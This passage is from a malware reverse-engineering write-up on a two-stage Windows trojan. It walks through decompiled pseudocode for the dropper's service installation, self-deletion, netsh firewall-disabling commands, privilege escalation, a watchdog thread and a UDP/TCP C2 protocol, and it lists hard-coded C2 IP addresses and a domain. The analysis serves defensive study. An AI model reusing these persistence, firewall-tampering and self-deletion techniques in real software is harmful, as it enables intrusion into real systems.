&unk_220040,
v7,
24,
0,
0,
&v14,
(a2 ^ v7[0]) + __CFADD__(HIDWORD(a2), v7[0]));
}
if ( v4
&& ((int (__stdcall *)(_DWORD, void *, _DWORD, _DWORD, unsigned int *, int, int *, _DWORD))kernel32_DeviceIoControl)(
0,
&unk_220014,
0,
0,
&v13,
4,
&v14,
0)
&& v14 == 4 )
{
return v13 < 0x18 ? -2 : 1;
}
((void (__stdcall *)(_DWORD))kernel32_CloseHandle)(0);
result = -1;
dword_40FE80[111] = -1;
return result;
}
This program seems to disguise itself as if it’s communicating with a PCI device
It tries to open a stealthy kernel mode device and performs an obfuscated handshake using CPU timing and the current process ID via DeviceIoControl, then queries the device for a capability/version value and returns whether a compatible driver is present
But if the matching kernel driver is plugged in, it can do very dangerous things.
So this malware has rootkit capabilities if an appropriate driver is installed in the device
Then we move on the next part which is
kernel32_OpenEventW check#

That code is checking for the existence of a named Windows event object with one of two possible names:
Global/NitrGB
Local/NitrGB
Global/ → visible across all sessions (services, SYSTEM, other users)
Local/ → visible only in the current logon session
It checks these two to see if another instance is already running, and only executes its main logic if neither event exists, enforcing single‑instance or coordinated execution.
Then we come to what is the most important functino in the entireity of the binary, which contains the crux of this binary which is launching our service
sub_00405D81 AKA Imp_func()#

it calls two string decryptions the first one decrypts
syshost.exe
The next one decrypts
syshost32
syshost.exe is what is going to be placed under C:/Windows/Installer/{}

It firstly gets our module name and gets the windows directory and checks if they’re in the same directory, and if they are then it means the program that is being run is the service, and not the first stage of the malware, but in our case it doesn’t match, so it doesn’t enter that part of the code, and it checks the filenames
In our case it doesn’t match, so then it goes onto check if it is running from Local/Appdata
In our case it’s not, so it just simple goes onto check if the user is Admin
If it is an Admin, then it generates PRNG,

And formats it like so
UTF-16LE", '%s%0.8X-%0.4X-%0.4X-%0.4X-%0.8X%0.4X}/'

And then it creates directory, combines syshost.exe to the PRNG and then copies the file onto there
Create Service#
Then inside the same function
It accesses OpenSCManagerW and
CreatesService
with the command
"C:/Windows/Installer/{6F5DC3CF-4BBE-665D-02D8-A422-E2C07EAA}/syshost.exe" /service
That there concludes the major purpose of the First Stage of the Malware
SO then we finally get to the very last function inside this binary that is being executed, which is,
sub_4077B9 AKA Cleanup_nec.exe#
// write access to const memory has been detected, the output may be wrong!
// bad sp value at call has been detected, the output may be wrong!
void __cdecl __noreturn sub_4077B9(int a1, int a2)
{
char v2; // al
int v3; // eax
char *v4; // edi
char v5[520]; // [esp+Ch] [ebp-618h] BYREF
char v6[520]; // [esp+214h] [ebp-410h] BYREF
char v7[520]; // [esp+41Ch] [ebp-208h] BYREF
if ( WideCharToMultiByte )
{
((void (__stdcall *)(int (__stdcall *)(UINT, DWORD, LPCWCH, int, LPSTR, int, LPCCH, LPBOOL)))advapi32_RegCloseKey)(WideCharToMultiByte);
WideCharToMultiByte = 0;
}
v2 = ((int (*)(void))kernel32_GetCurrentThreadId)();
sub_401546(v2);
sub_401526();
if ( ((int (__stdcall *)(_DWORD, char *, int))kernel32_GetModuleFileNameW)(0, v7, 260) )
{
((void (__stdcall *)(char *, int))kernel32_SetFileAttributesW)(v7, 128);
if ( ((int (__stdcall *)(int, char *))kernel32_GetTempPathW)(260, v5) )
{
v3 = sub_4071AE();
str_join((int)v6, 260, 0x40E34C, v5, v3);
v4 = v6;
if ( !((int (__stdcall *)(char *, char *, int))kernel32_MoveFileExW)(v7, v6, 8) )
v4 = v7;
((void (__stdcall *)(char *, _DWORD, int))kernel32_MoveFileExW)(v4, 0, 4);
if ( !a1 )
sub_4076FE(4252440, 0, (char)v4);
if ( a2 )
{
((void (__stdcall *)(int, int))user32_ExitWindowsEx)(22, -2147352576);
((void (__stdcall *)(int, _DWORD))user32_ExitWindowsEx)(20, 0);
}
}
}
((void (__cdecl *)(_DWORD))kernel32_ExitProcess)(0);
JUMPOUT(0x4078B3);
}
Now this function, first tries to remove any hooks associated to
WideCharToMultiByte
Then it takes our FileName and SetFileAttributes as 128, which is

So then it basically intentionally normalizes the file, so that the file isnt hidden or anything, which might cause windows to refuse to move or delete it
Then it get’s the temp path
and joins it with a prng filename which is generated here
PRNG filename#


and the file is moved to such a location
C:/Users/Ryuzaki/AppData/Local/Temp/634a3957.tmp

Which as we can see is the exact same file
Then finally before closing it all up we enter another function
sub_4076FE aka cmdline_delete#
Which deletes the file by using CreaetProcessW and running the command
'cmd.exe /C del /Q /F "%s"
2nd Stage - syshost.exe#
Now the second stage of this malware involves all the same debugging as above, but only until the point we get to the part in Imp_Func() where we compare names, because in this case, we have the same binary as the one inside Windows/Installer folder, so then it slightly diverges from that point onwards which is what we’ll be looking into
So starting with imp func,
2nd stage sub_00405D81 AKA Imp_Functon()#
Inside our Imp_Function, as expected the binary name check passes, and thus we end up taking a new control branch here, which is
Here it takes two paths,
- if it’s launched by /service, then it takes the above path, where it get’s its own service dispatcher routine, Inside which we have
// write access to const memory has been detected, the output may be wrong!
int __stdcall sub_4061BB(int a1, _DWORD *a2)
{
int result; // eax
int v3; // esi
int v4; // [esp-Ch] [ebp-14h]
int v5; // [esp-8h] [ebp-10h]
int v6; // [esp-4h] [ebp-Ch]
result = ((int (__stdcall *)(_DWORD, int (__stdcall *)(int)))advapi32_RegisterServiceCtrlHandlerW)(*a2, sub_405D6D);
v3 = result;
unk_410CA0 = result;
if ( unk_410CA0 )
{
unk_410B04 = 16;
unk_410B08 = 4;
((void (__cdecl *)(int, int, _DWORD))loc_4021B8)(0x410B20, 64, *a2);
((void (__stdcall *)(int, int, int, int, int))advapi32_SetServiceStatus)(v3, 0x410B04, v4, v5, v6);
result = Service_logic();
if ( !result )
{
unk_410B08 = 1;
return ((int (__stdcall *)(_DWORD, int))advapi32_SetServiceStatus)(unk_410CA0, 0x410B04);
}
}
return result;
}
Which essentially just sets up the service environment and then calls Service_logic() which is where our main persistence exists
Calling with /service just looks cleaner because Service mode exists to:
- survive reboots
- run as SYSTEM
- look legitimate
But the core behavior must also run outside SCM, otherwise:
- install would fail
- testing would be harder
- fallback execution wouldn’t work
So because of that we’re going the second route, which checks if it was launched with “/sn:”, but if it is not

Then it still, would enter service logic
Service Logic#
Inside service logic it seems to take up two paths, depending on if it’s a wow64 process or now
In our case it took the constants
Which then went into a function that returned zero, and then it went onto create
Two events
Both of the events are Windows event objects with custom security descriptors that grants full access to Everyone, allowing any process or user to open and signal it, this is mainly used in our case enforce a single running instance. So that when we run syshost another time while an instance is already running, it would close down, that is the reason we say OpenEventW being called earlier on Global/NitrGB and Local/NitrGB
Then,

By setting error mode it supresses system error dialogs then installs a custom error handling exception handler
sub_4059A2 AKA Custom Handler#
int __stdcall custom_handler(int a1)
{
int v1; // eax
int v3[6]; // [esp+Ch] [ebp-18h] BYREF
int v4; // [esp+2Ch] [ebp+8h]
v3[0] = 0;
v3[1] = 0;
v3[2] = ((int (*)(void))kernel32_GetCurrentThreadId)();
v3[3] = a1;
v3[4] = 0;
v3[5] = 0;
v1 = ((int (__stdcall *)(_DWORD, _DWORD, int (__stdcall *)(int), int *, _DWORD, _DWORD))kernel32_CreateThread)(
0,
0,
sub_405862,
v3,
0,
0);
v4 = v1;
if ( v1 )
{
((void (__stdcall *)(int, int))kernel32_WaitForSingleObject)(v1, 60000);
((void (__stdcall *)(int))kernel32_CloseHandle)(v4);
}
sub_4078B4();
return 1;
}
suppresses crash dialogs by spawning a dedicated cleanup thread, waiting briefly for it to complete, performing final teardown actions, and then signaling to Windows that the exception was handled, allowing the malware to fail silently or recover without alerting the user
sub_405862 aka Crash Handler Thread#
This function handles all the crashes so that the malware keeps on running instead of crashing and failing
This was properly engineering by the malware author
sub_40B348 AKA get_config_dword#

This looks up a DWORD value from an internal encrypted table using two constants as keys and a variant selector, returning the retrieved value if present and valid or a caller‑supplied default otherwise.
sub_405A39 AKA Modify_Firewall#
This checks if we are admin and if we are, then it creates thread at sub_405A39 which modifies the firewall behaviour

int __stdcall Modify_Firewall(int a1)
{
char v2[520]; // [esp+4h] [ebp-52Ch] BYREF
char v3[520]; // [esp+20Ch] [ebp-324h] BYREF
int v4; // [esp+414h] [ebp-11Ch] BYREF
unsigned int v5; // [esp+418h] [ebp-118h] BYREF
int v6; // [esp+41Ch] [ebp-114h]
unsigned __int16 v7; // [esp+528h] [ebp-8h]
v4 = 284;
sub_40C5AE(&v5, 0, 280);
unk_40D1A0(&v4);
if ( v5 >= 5
&& (v5 != 5 || v6 && (v6 != 1 || v7 >= 2u) && (v6 != 2 || v7))
&& unk_40D0D4(v3, 260)
&& sub_40B38D(0xC74C2952, 0x15D30EBA, (int)v2, 260, 2) )
{
if ( v5 < 6 )
{
sub_4076FE(L"/"%s//netsh.exe/" firewall set opmode mode=DISABLE profile=ALL", 0, v3);
}
else
{
if ( sub_4076FE(
L"/"%s//netsh.exe/" advfirewall firewall set rule name=/"%s/" dir=%s new action=allow enable=yes profile=any",
60000,
v3,
v2,
4251228) )
{
sub_4076FE(
L"/"%s//netsh.exe/" advfirewall firewall add rule name=/"%s/" dir=%s action=allow enable=yes profile=any",
0,
v3,
v2,
4251228);
}
if ( sub_4076FE(
L"/"%s//netsh.exe/" advfirewall firewall set rule name=/"%s/" dir=%s new action=allow enable=yes profile=any",
60000,
v3,
v2,
4250816) )
{
sub_4076FE(
L"/"%s//netsh.exe/" advfirewall firewall add rule name=/"%s/" dir=%s action=allow enable=yes profile=any",
0,
v3,
v2,
4250816);
}
}
}
return 0;
}
sub_407331 AKA Escalate_Priv#

int __cdecl sub_407331(int a1)
{
int v1; // esi
int v2; // eax
int v4; // [esp+8h] [ebp-14h] BYREF
char v5[8]; // [esp+Ch] [ebp-10h] BYREF
int v6; // [esp+14h] [ebp-8h]
int v7; // [esp+18h] [ebp-4h] BYREF
v1 = 0;
v2 = ((int (__stdcall *)(int, int *))kernel32_GetCurrentProcess)(32, &v7);
if ( ((int (__stdcall *)(int))advapi32_OpenProcessToken)(v2) )
{
v1 = 1;
v4 = 1;
v6 = 2;
if ( !((int (__stdcall *)(_DWORD, int, char *))advapi32_LookupPrivilegeValueW)(0, a1, v5)
|| !((int (__stdcall *)(int, _DWORD, int *, _DWORD, _DWORD, _DWORD))advapi32_AdjustTokenPrivileges)(
v7,
0,
&v4,
0,
0,
0)
|| unk_40D1D4() )
{
v1 = 0;
}
((void (__stdcall *)(int))kernel32_CloseHandle)(v7);
}
return v1;
}
This escalates the privileges
SeAssignPrimaryTokenPrivilege → allows creating a process with a different primary token (used in process impersonation / service token hijacking)
SeIncreaseQuotaPrivilege → allows increasing memory limits of processes (needed for some payloads / large memory operations)
SeShutdownPrivilege → allows shutting down the system (less common in malware, sometimes just for disruption)
So now the privlege of the malware has been escalated accordinly
Next,
ws2_32_WSAStartup#
sub_40A1DE AKA Internet_Init()#
// write access to const memory has been detected, the output may be wrong!
int Internet_Init()
{
int v0; // eax
int v2; // [esp+4h] [ebp-8h] BYREF
int v3; // [esp+8h] [ebp-4h] BYREF
((void (__stdcall *)(void *))ntdll_RtlInitializeCriticalSection)(&unk_41195C);
v0 = ((int (__stdcall *)(_DWORD, int, _DWORD, _DWORD, _DWORD))wininet_InternetOpenW)(0, 1, 0, 0, 0);
dword_411974 = v0;
if ( v0 )
{
v3 = 30000;
((void (__stdcall *)(int, int, int *, int))wininet_InternetSetOptionW)(v0, 6, &v3, 4);
((void (__stdcall *)(_DWORD, int, int *, int))wininet_InternetSetOptionW)(0, 5, &v3, 4);
v2 = 2048;
((void (__stdcall *)(_DWORD, int, int *, int))wininet_InternetSetOptionW)(0, 73, &v2, 4);
((void (__stdcall *)(_DWORD, int, int *, int))wininet_InternetSetOptionW)(0, 74, &v2, 4);
if ( ((int (__stdcall *)(int *, _DWORD, _DWORD, int, int))advapi32_CryptAcquireContextW)(
&dword_41197C,
0,
0,
1,
-268435456) )
{
sub_40A019();
((void (__stdcall *)(_DWORD, _DWORD))advapi32_CryptReleaseContext)(0, 0);
((void (__stdcall *)(_DWORD))wininet_InternetCloseHandle)(0);
dword_41197C = 0;
}
else
{
((void (__stdcall *)(_DWORD))wininet_InternetCloseHandle)(0);
}
dword_411974 = 0;
}
return 0;
}
sub_40A1DE() is doing network + crypto subsystem initialization. It sets up WinINet, configures timeouts/buffers, initializes a critical section, acquires a CryptoAPI context, runs an internal initializer, then cleans up.
Timeout configuration v3 = 30000; // 30 seconds InternetSetOption(h, 6, &v3, 4); // receive timeout InternetSetOption(0, 5, &v3, 4); // connect timeout
Buffer size tuning v2 = 2048; InternetSetOption(0, 73, &v2, 4); InternetSetOption(0, 74, &v2, 4);
sub_40A019 AKA Crypt_B#
- Enters a global critical section to protect shared crypto/network state
- Looks up an embedded data blob using two hard‑coded constants (acts like an ID or hash)
- Retrieves the size of the blob
- Verifies the blob is large enough and matches an expected key‑blob format
- Checks that the blob represents an RSA key (key exchange or signing)
- Imports the RSA key into Windows CryptoAPI using CryptImportKey
- Stores the resulting key handle globally for later use
- Extracts and stores key parameters (e.g., key length, flags) from the blob
- Leaves the critical section
sub_401A70 AKA Address_Resolver#

- Dynamically reconstructs hard‑coded IP addresses
- Avoids storing IPs in plaintext
- Selects a usable C2 / endpoint address
- Stores it globally for later network communication
dword_40FE80 is the array in which it is getting stored
The resolved IPs at this stage are :
178.32.31.41
95.211.195.245
94.231.81.244
91.213.8.35
151.236.6.6
119.252.20.75
198.100.146.51
192.121.170.170
78.47.34.12
108.61.210.58
109.69.8.34
87.98.175.85
106.186.17.181
107.170.95.180
And then this is not visible in pseudocode but the ips are then shuffled around to give
2308D55Bh → 91.213.8.35
3AD23D6Ch → 108.61.210.58
0AAAA79C0h → 192.121.170.170
0C222F4Eh → 78.47.34.12
2208456Dh → 109.69.8.34
606EC97h → 151.236.6.6
0B511BA6Ah → 106.186.17.181
0F451E75Eh → 94.231.81.244
339264C6h → 198.100.146.51
55AF6257h → 87.98.175.85
0B45FAA6Bh → 107.170.95.180
4B14FC77h → 119.252.20.75
291F20B2h → 178.32.31.41
sub_406F42 AKA Dynamic_API_resolve#
Inside this, it resolves ZwQueryInformationProcess and ZwUnmapViewOfSection
sub_401D38 AKA Crypto_Api_Init()#
sub_401D38() initializes the CryptoAPI and prepares per‑run cryptographic state. If this fails, the malware likely disables encryption‑dependent features (like secure C2).
sub_40881A AKA SusCreaeteThread#
Calls a Create Thread onto a procedure, that creates a thread on a sub function
sub_00408309 AKA Supervisor_Thread#
void __noreturn Super_visor_Thread()
{
int *v0; // ebx
int v1; // eax
int v2; // eax
int v3; // [esp+Ch] [ebp-8h] BYREF
unsigned int i; // [esp+10h] [ebp-4h]
while ( 1 )
{
((void (__stdcall *)(int *))ntdll_RtlEnterCriticalSection)(dword_4115D0);
for ( i = 0; GetModuleHandleW && i < (unsigned int)GetModuleHandleW; ++i )
{
v0 = (int *)(4 * i + 0x4114D0);
v1 = dword_4114D0[i];
if ( *(_DWORD *)v1
&& (*(_BYTE *)(v1 + 49) & 1) != 0
&& ((int (__stdcall *)(_DWORD, int *))kernel32_GetExitCodeProcess)(*(_DWORD *)v1, &v3)
&& v3 != 259 )
{
sub_40AC33(v0, dword_4115D0, *(_DWORD *)(*v0 + 14), *(_DWORD *)(*v0 + 18), 0, 4253020, v3);
sub_408279(0);
if ( !sub_408102() )
{
sub_4082D0();
--i;
}
}
}
((void (__stdcall *)(int *))ntdll_RtlLeaveCriticalSection)(dword_4115D0);
v2 = sub_4071F3(5000, 10000);
((void (__stdcall *)(int))kernel32_Sleep)(v2);
}
}
This thread acts as a process watchdog and recovery manager.
- It is an infinite loop (__noreturn)
- Designed to stay alive for the lifetime of the service
- Uses a critical section (unk_4115D0) to safely access global process data
- Iterates over an internal table (dword_4114D0)
- Each entry represents a process the malware previously launched
- Detects process termination
- Calls GetExitCodeProcess
- Treats anything other than STILL_ACTIVE (259) as a dead process
- Handles process death
- Logs or reports the termination (sub_40AC33)
- Cleans up internal state (sub_408279)
- Optionally respawns or reinitializes components (sub_4082D0, sub_408102)
- Adjusts the loop index to re-evaluate updated entries
- Prevents busy looping
- Sleeps for a randomized interval (5–10 seconds) between scans
When we run this thread, we notice another thread is spawned at the routine
sub_409562 AKA network dispatcher#
It runs a network event loop that:
- Monitors two sockets
- Receives UDP control packets
- Accepts TCP connections
- Spawns worker threads to handle each TCP client
It sets up socket monitoring by
v15[0] = 1068; UDP Socket
v15[1] = 1048; TCP Socket
Maintains a periodic Heartbeat (typical of beacons)
f (GetTickCount() - last_tick >= 5000)
{
sub_409287();
}
UDP packet handling (control channel)
recvfrom(1068, ...)
TCP connection handling (command sessions) accept(1048) QueueUserWorkItem(UserWorkItem, socket)
Each worker thread:
- Handles one TCP client
- Receives framed, encrypted commands
- Verifies signatures
- Executes allowed commands
- Disconnects after ~6 messages
Service Logic
|
+-- Supervisor Thread (process watchdog)
|
+-- Network Thread (sub_409562)
|
+-- UDP control packets
|
+-- TCP accept()
|
+-- UserWorkItem (client handler)
+-- UserWorkItem (client handler)
+-- ...
sub_409287 AKA Heartbeat#
Now when we go ahead and follow down the function, this function runs every 5 seconds
// write access to const memory has been detected, the output may be wrong!
int sub_409287()
{
__int16 v0; // ax
__int64 session_id; // [esp+8h] [ebp-2Ch] BYREF
int v3; // [esp+10h] [ebp-24h]
int v4; // [esp+14h] [ebp-20h]
char state_flag; // [esp+18h] [ebp-1Ch]
__int16 v6; // [esp+1Ch] [ebp-18h] BYREF
__int16 PORT; // [esp+1Eh] [ebp-16h]
int IP_addr; // [esp+20h] [ebp-14h]
__int16 PORT_6; // [esp+24h] [ebp-10h]
int v10; // [esp+26h] [ebp-Eh]
__int16 v11; // [esp+2Ah] [ebp-Ah]
int v12; // [esp+30h] [ebp-4h]
((void (__stdcall *)(void *))ntdll_RtlEnterCriticalSection)(&unk_411610);
v6 = 2;
PORT_6 = 0;
v10 = 0;
v11 = 0;
IP_addr = *(int *)((char *)&dword_BE5D4C + 2);
v0 = ((int (__stdcall *)(_DWORD))ws2_32_htons)(unk_BE5D52);
dword_411628 = 6;
PORT = v0;
if ( IP_addr && PORT && PORT != (unsigned __int16)((int (__stdcall *)(int))ws2_32_htons)(0x4AD4) )
{
session_id = sub_40BA9A();
v3 = 0;
v12 = 0;
v4 = 0;
state_flag = 4 * (sub_40BAF1() & 1);
if ( sub_4071F3(0, 4) ) // choose_packet_format
Encrypt_and_send(896, &v6, &session_id, 17);
else
sub_408F75(&v6, 0, &session_id, 17);
}
return ((int (__stdcall *)(void *))ntdll_RtlLeaveCriticalSection)(&unk_411610);
}
Inside this function, we see IP and port getting resolved, the IP and port numbrs match the IP and port numbers being sent out that we can see in wireshark/procmon
This periodically sends an encrypted heartbeat/status packet over UDP to the configured C2 server to signal liveness and session state.
sub_408DDF AKA UDP/TCP send#
sub_408DDF builds a custom protocol packet (header + payload + MAC) and sends it over UDP or TCP for heartbeats and command traffic.
Fill protocol header#
a) Session / sequence ID *(_DWORD *)v8 = sub_4071AE();
Opcode + payload length *((_DWORD *)v8 + 2) = (payload_len « 4) | (opcode & 0xF);
Copy payload memcpy(v8 + 12, payload_ptr, payload_len);
Meaning:
bits 31..4 = payload length bits 3..0 = opcode
Compute integrity check (MAC / checksum)#
*((_DWORD *)v8 + 1) = sub_408ABC(v8 + 8, packet_len - 8, session + 78269159);
Send the packet#
UDP path
sendto(socket, buffer, len, 0, sockaddr, 16);
TCP path
send(socket, buffer, len, 0);
Packet layout
+------------------------------+
| Session ID / Nonce (4 bytes) | <-- sub_4071AE()
+------------------------------+
| Integrity Check (4 bytes) | <-- sub_408ABC()
+------------------------------+
| Len<<4 | Type (4 bytes) | <-- (16 * payload_len) | opcode
+------------------------------+
| |
| Payload bytes | <-- data being passed
| |
+------------------------------+
C2 IP#
While debugging I came across “npkxghmoru.biz”
which when googled revealed it was a C2 Ip associated with this trojan
and purely taking the IP also shows, that we can correlate it with the ProcMon Output
169.142.32.162 - npkxghmoru.biz

And we can see the same being referenced by InternetCrackUrlW as well
Thereby confirming it is the C2 for our malware.
Conclusion#
The binary exhibits the following capabilities,
Execution:
- Process Injection (in-memory execution of decrypted payload)
- Reflective Code Loading
Persistence:
- Create or Modify System Process: Windows Service
Privilege Escalation / Defense Evasion:
- Impair Defenses (user-mode hook detection)
- Debugger Evasion
- Virtualization / Sandbox Evasion
Discovery:
- System Information Discovery
Impact / Stealth:
- Indicator Removal on Host (self-deletion)
Command and Control
- Web Service: Bidirectional Communication
- Leverages legitimate third-party web services (e.g., cloud or platform APIs) to exchange commands and exfiltrate data.
